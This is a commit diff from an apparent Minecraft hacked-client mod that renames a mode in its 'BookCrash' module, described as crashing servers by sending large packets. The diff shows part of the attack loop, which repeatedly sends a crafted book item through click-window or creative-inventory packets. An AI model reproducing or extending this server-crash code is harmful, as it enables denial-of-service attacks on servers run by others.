Rename Raion to Jessica mode in BookCrash (#144)

This commit is contained in:
Qther 2019-11-26 07:24:17 +08:00 committed by Bella Who
parent 4dec6733f0
commit 50053493f4
1 changed files with 3 additions and 4 deletions

View File

@ -24,7 +24,7 @@ import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* Created by d1gress/Qther on 24/11/2019. * Created by d1gress/Qther on 25/11/2019.
*
* Updated by d1gress/Qther on 26/11/2019.
*/
@Module.Info(name = "BookCrash", category = Module.Category.MISC, description = "Crashes servers by sending large packets")
public class BookCrash extends Module{
@ -83,9 +83,8 @@ public class BookCrash extends Module{
bookObj.setTagCompound(tag);
for(int i = 0; i < uses.getValue(); i++) {
if(mode.getValue() == Mode.RAION) {
mc.playerController.connection.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, bookObj, (short) 0));
}else {
mc.playerController.connection.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, bookObj, (short) 0));
if(mode.getValue() == Mode.JESSICA) {
mc.playerController.connection.sendPacket(new CPacketCreativeInventoryAction(0, bookObj));
}
}